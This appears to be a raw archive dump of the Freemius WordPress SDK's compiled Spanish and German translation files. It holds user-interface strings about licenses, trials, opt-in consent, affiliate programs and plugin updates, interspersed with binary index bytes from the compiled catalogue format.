encontrarlo después de 5 min, comprueba tu carpeta de spam.VerificadoVerificar correo electrónicoLa versión %s se ha lanzado.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListVer detallesVer las funciones de pagoAtencionNo vemos ninguna licencia activa asociada a esa dirección de correo electrónico, ¿estás seguro de que es la dirección de correo electrónico correcta?No podemos encontrar tu dirección de correo electrónico en el sistema, ¿estás seguro de que es la dirección de correo electrónico correcta?No pudimos cargar la lista de complementos. Probablemente sea un problema por nuestra parte, por favor, inténtalo de nuevo en unos minutos.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.Hemos realizado algunas optimizaciones al %s, %sNos aseguraremos de ponernos en contacto con tu empresa de alojamiento web y resolver el problema. Recibirás un correo electrónico de seguimiento a %s tan pronto tengamos una actualización.Estamos emocionados de introducir la integración de Freemius a nivel de red.Sitio web, correo electrónico y estadísticas de social media (opcional)¡Bienvenido a %s! Para empezar, introduce tu clave de licencia:¿Qué esperas?¿Qué característica?¿Cual es tú %s?¿Con qué precio te sentirías cómodo pagando?¿Que has estado buscando?¿Cuál es el nombre de %s?¿Dónde vas a promocionar %s?WordPress & PHP versions, site language & titlePágina del plugin en WordPress.orgWould you like to merge %s into %s?¿Deseas continuar con la actualización?SiSi - %sYes - both addresses are mineVamos, adelanteYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.Ya utilizaste un período de prueba antes.Estás a sólo 1-click de comenzar tu %1$s días de prueba gratuita del plan %2$s.¡Está todo listo!Estás ejecutando %s en modo de prueba.Estás a sólo un paso - %sTodavía puedes disfrutar de todas las funciones de %s pero no tendrás acceso a soporte y actualizaciones de %s.No tienes una licencia válida para acceder a la versión premium.Tienes una licencia %s.Has comprado una licencia %s.Has actualizado correctamente tu %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesEs posible que te lo hayas perdido, pero no tienes que compartir ningún dato y puedes solo aceptar %s.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.Ya has optado por nuestro seguimiento de uso, lo que nos ayuda a seguir mejorando %s.Ya has optado por nuestro seguimiento de uso, lo que nos ayuda a seguir mejorando.Tu complemento %s del plan se actualizó con éxito.Tu prueba gratuita de %s fue cancelada con éxito.Tu licencia %s ha sido marcada como etiqueta blanca para ocultar información sensible del administrador de WP (por ejemplo, tu correo electrónico, clave de licencia, precios, dirección de facturación y facturas). Si alguna vez deseas revertirlo, puedes hacerlo fácilmente a través de tu %s. Si se trata de un error, también puedes %s.Tu licencia %s ha sido desactivada correctamente.Your WordPress user's: first & last name, and email addressTu cuenta se ha activado correctamente con el plan %s.¡Tu aplicación al programa de afiliación para %s ha sido aceptada! Entra en tu área de afiliado desde: %s.Tu cuenta de afiliado ha sido suspendida temporalmente.Tu email ha sido verificado correctamente - ¡Eres IMPRESIONANTE!Tu período de prueba ha caducado. %1$sActualiza ahora %2$s para continuar usando el %3$s sin interrupciones.Tu período de prueba ha caducado. Todavía puedes seguir usando todas nuestras funciones gratuitas.Tu licencia ha sido cancelada. Si crees que es un error, ponte en contacto con el servicio de asistencia.Tu licencia ha caducado. %1$sActualiza ahora %2$s para continuar usando el %3$s sin interrupciones.Tu licencia ha caducado. Todavía puedes seguir usando todas las funciones de %s, pero tendrás que renovar tu licencia para seguir recibiendo actualizaciones y soporte.Tu licencia ha caducado. Puedes seguir usando el plan gratuito %s para siempre.Tu licencia fue activada correctamente.Tu licencia fue desactivada correctamente, has vuelto al plan %s.Tu nombre fue actualizado correctamente.Tu plan se activó con éxito.Tu plan se cambió correctamente a %s.Tu plan se actualizó con éxito.Tu servidor está bloqueando el acceso al API de Freemius, que es crucial para sincronizar %1$s. Por favor, contacta a tu proveedor de hosting para permitir el acceso de %2$sTu suscripción ha sido cancelada correctamente. Tu %s licencia del plan caducará en %s.Tu versión de prueba se ha iniciado con éxito.Código postalBien hechoactivate a license hereActivo%s no se puede ejecutar sin %s.%s no se puede ejecutar sin el plugin.Atenciónpermitirquedan %sActivandoañoAPIDescartarDepurandoFelicidadesBloqueadoConectadoDescargar la últimaDescargar la última versión gratuitaMensualCaducidadRutaEnviando correo electrónicomeAnualAnualmenteUna vezPlanSin clave secretaVersiones SDKLicenciaSincronizarSincronizar licenciaAutorApagadoEncendidobasado en %sComenzar el período de prueba gratuitoDescartarDescartarcomplete the opt-indatadaysdesactivandodelegar%sNO%s me envíes actualizaciones de seguridad y nuevas funcionalidades, contenido educativo y ofertas.Plan %sFacturado %sEl mejorHeyOopsHey %s,hourhoursInstaladoVayalicenciaSitiosmsnueva versión Betanueva versiónno verificadoPrecioPrecioopcionalVersiónproductsrevertirlo ahorasegparece que la clave que has introducido no coincide con nuestros registros.envíame actualizaciones de seguridad y nuevas funcionalidades, contenido educativo y ofertas.saltarcomenzar el período de pruebasuscripcióncambiandothe above-mentioned sitesla última versión %s aquíperíodo de pruebaPeríodo de Prueba GratuitoBorrarDegradarEditarOcultarInscribirseDarse de bajaComprarMostrarSaltarActualizarActualizarhace %svendor/freemius/languages/index.php000064400000000127147600365160013456 0ustar00%'> M> Z> d>o>v>~>>>@>H>"?O5?M?j?>@@@@A%A5AAA AAABB&,B-SBB BBBBBB5BC$C 4C >C'JCrC C CCoC#D*DGDTEfEE/FBF"^FF(F2F!F>Ga[G+G0GH,HCHRHZHnHsH{HHHHH H HH HEHy)IIIII nJyJJ J J JJJYJMK\K mK yKKKKK K(K1K%"L:HLL LLLL L LLL L7L7M 5]mt]g]pJ^^^y^U_n_ ___ __%_ `>`F`c`z` `&``1_a.aOabAbbyb2lcccac 7dDd[dB_d,dd d dd e %e0e7e?e Qe \ehe xeee4ee eeeefff'f7f Rf^f ef qf}ff,f f ffggg g!gg hhhh%1hWh%]h+hh h h/himi~ij jujjdklm*m 0muDuW]u uuuuuv/v6v:vCvKvQv avmv v5vsvl4w&www w wyy4yHyPyly ry|y y=y&yLyf?zz z zzzz zz z {{ {+{ A{N{_{||%<}/b}})} } }\}O~~~C/smGxd.- ǁԁہ'"MςG,e S_TΆԆن߆E*=Ofu|** dz  ʈ' BObijWԉn,"@cB6*=a Œ-ӌ&5/\#*ʍ /4QdUD $QMvď/֏o&>Ր & <4DqZTR.:.i-;ؔ9ZN3<ݕbP}UΖ_$K(kG#ܘ%)&$PuU)Vǚ;ܚ6>Oϛ$ $@\&z*7̜93Rɝݝ*1%Ws#Ǟٞ ,AUZ _lNuğ,=NSY1t Ҡ 5 > L9XC֡ۡ 7= P\ k u  Ƣ Ӣ]=vDxs4'%Щ 04ݪnӫ'Bj$*Ȭ # ,6=\DQ[MjW!%.7 =K  -Ee3y2 'BIFQ 4Ų  &1Gdzγeh'U}/)A%k'+?*%2Pv-G("p ɸո   ) /:I bWp|ȹ/E u Sax  ˻oTc x$ ڼ+J7^ Ľ̽ ?^ dq п ޿ 6"+ZN Fg$!+hr0 aov{b  D"(%/`U  }GB4<tqIh)?i$3J4H!}k 8)bVeY_Qvut>9X^%1DWq"0"!A] |)AeB\GD%?e2)(Rtn ! h< ) 7EL S ak| D *.5 LV ^h'y  / '(9b 3*@k 416,c5|Z+R# )5 HET OD)Z2\EO;S^]):A Q[ o y  S#9/A+q  .AI b p| q+;Zcx,   #B7z2B;Wr  J(*mS~@FXk   )J142 -* X czm%*UV*p>sc3  '+HtSPP," ?KQp$M#) /;a?-=8E~  COc%)+/#Nrl0/41 L 9 HV    6  , H ;a  & $    . CB M P E% =k i &'=eF= U*vDL_3f~{1<,Mi.=9$e^2:y2qdi[)G)Z&-'O., ?I`f%      !(3 \fo t   ! 0 ;FZ` e qV{ "( /9< N[jpwdL `n      " +9@Hyl~|'4mf*f-/i#$M}#:  Y*D5ui^]Lyptw;xFk|K3 !Pt'o.Yg_8,!@vhBf,0``j %7?6Cz9kzJ[,h42eSWBXr62JjL| "c<(:{@ 6Zlpo\/^+-nAl5%w"T0=\O7EnP)<Jvs&q?uNyA}{FE;#O8 =_{FDSLDM3aqRGv 5Q[rISZg>%$]U~9T u2cGKn;~go$UO0X)a +mQ_s1ZxGp:^`QmNY &9W!R& [xjqdb4>3?B]\t'eAbH/dR=>w)a eHX}sKNC+V*.@c(r 1 "E <ITd IU1H-VV8WziP.kb( CMh7HmmW00t %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s"The ", e.g.: "The plugin"The %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new owner of the account.%s minimum payout amount.%s opt-in was successfully completed.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.ActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?Are you sure you would like to proceed with the disconnection?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundleBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCommunicationCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeCurrent %s & SDK versions, and if active or uninstalledDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Disabling white-label modeDisconnecting the website will permanently remove %s from your User Dashboard's account.Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used during the purchase and we will resend you the license key.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtensionsExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.For delivery of security & feature updates, and license management, %s needs toFreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Great, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!Homepage URL & title, WP & PHP versions, and site languageHow do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't know what is cURL or how to install it, help me!I don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.If you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs active, deactivated, or uninstalledIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.Keep SharingKeep automatic updatesKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNames, slugs, versions, and if active or notNetwork BlogNetwork UserNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - just deactivateNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires PHP VersionRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStay ConnectedStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank for giving us the chance to fix it! A message was just sent to our technical staff. We will get back to you as soon as we have an update to %s. Appreciate your patience.Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you for updating to %1$s v%2$s!Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.This plugin requires a newer version of PHP.This will allow %s toTimestampTitleTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListView detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.We made a few tweaks to the %s, %sWe'll make sure to contact your hosting company and resolve the issue. You will get a follow-up email to %s once we have an update.We're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress & PHP versions, site language & titleWordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - do your thingYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your WordPress user's: first & last name, and email addressYour account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactivate a license hereactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismisscomplete the opt-indatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,hourhoursinstalled add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionproductsrevert it nowsecondssecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Oliver Heinrich, 2022 Language-Team: German (Germany) (http://www.transifex.com/freemius/wordpress-sdk/language/de_DE/) Language: de_DE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js HmmW00t %s, um auf die Sicherheits- und Funktionsupdates der Version %s und den Support zuzugreifen.Der %sDownload-Link%s, der Lizenzschlüssel und die Installationsanleitung wurden an %s gesendet. Wenn du die E-Mail nach 5 Minuten nicht finden kannst, überprüfe bitte dein Spam-Postfach. Die kostenpflichtige Version von %1$s ist bereits installiert. Bitte aktiviere sie, um von den %2$s Funktionen zu profitieren. %3$sDie %s%1$s wurde in den abgesicherten Modus versetzt, weil wir festgestellt haben, dass %2$s eine exakte Kopie von %3$s ist.%1$s wird sofort alle zukünftigen wiederkehrenden Zahlungen stoppen und deine %2$s Planz-Lizenz wird in %3$s auslaufen.%1$s wird sofort alle zukünftigen wiederkehrenden Zahlungen stoppen und deine %s Plan-Lizenz wird in %s auslaufen.Schließe jetzt die "%s"-Aktivierung ab%s Add-on wurde erfolgreich erworben.%s Installationen%s Lizenzenvor %s%s und seine Add-ons%s automatische Sicherheits- und Funktionsupdates und kostenpflichtige Funktionen funktionieren bis %s (oder bis zum Ablauf deiner Lizenz, je nachdem, was zuerst eintritt).%s Provision, wenn ein Kunde eine neue Lizenz kauft.%s kostenlose Testversion wurde erfolgreich abgebrochen. Da das Add-on nur Premium ist, wurde es automatisch deaktiviert. Wenn du es in Zukunft nutzen möchtest, musst du eine Lizenz erwerben.%s ist ein reines Premium Add-on. Du musst zuerst eine Lizenz erwerben, bevor du das Plugin aktivieren kannst.%s ist die E-Mail-Adresse meines Kunden%s ist meine E-Mail-Adresse%s ist der neue Besitzer des Kontos.%s Mindestauszahlungsbetrag.%s Opt-In wurde erfolgreich abgeschlossen.%s oder höher%s Bewertung%s Bewertungen%s s%s Stern%s Sterne%s mal%s mal%s, um auf die Sicherheits- und Funktionsupdates der Version %s und den Support zuzugreifen.%s Tracking-Cookie nach dem ersten Besuch, um das Ertragspotenzial zu maximieren.Bezahlte Funktionen von %s%sKlicke hier%s um die Webseite auszuwählen, auf denen du die Lizenz aktivieren möchtest.Click here to learn more about updating PHP.Eine Bestätigungs-E-Mail wurde gerade an %s gesendet. Der Besitzer der E-Mail-Adresse muss die Aktualisierung innerhalb der nächsten 4 Stunden bestätigen.Eine Bestätigungs-E-Mail wurde gerade an %s gesendet. Du musst die Aktualisierung innerhalb der nächsten 4 Stunden bestätigen. Wenn du die E-Mail nicht findest, überprüfe bitte deinen Spam-Ordner.API←➤KontoKonto DetailsDie Aktivierung des Kontos steht noch aus. Bitte überprüfe deine E-Mails und klicke 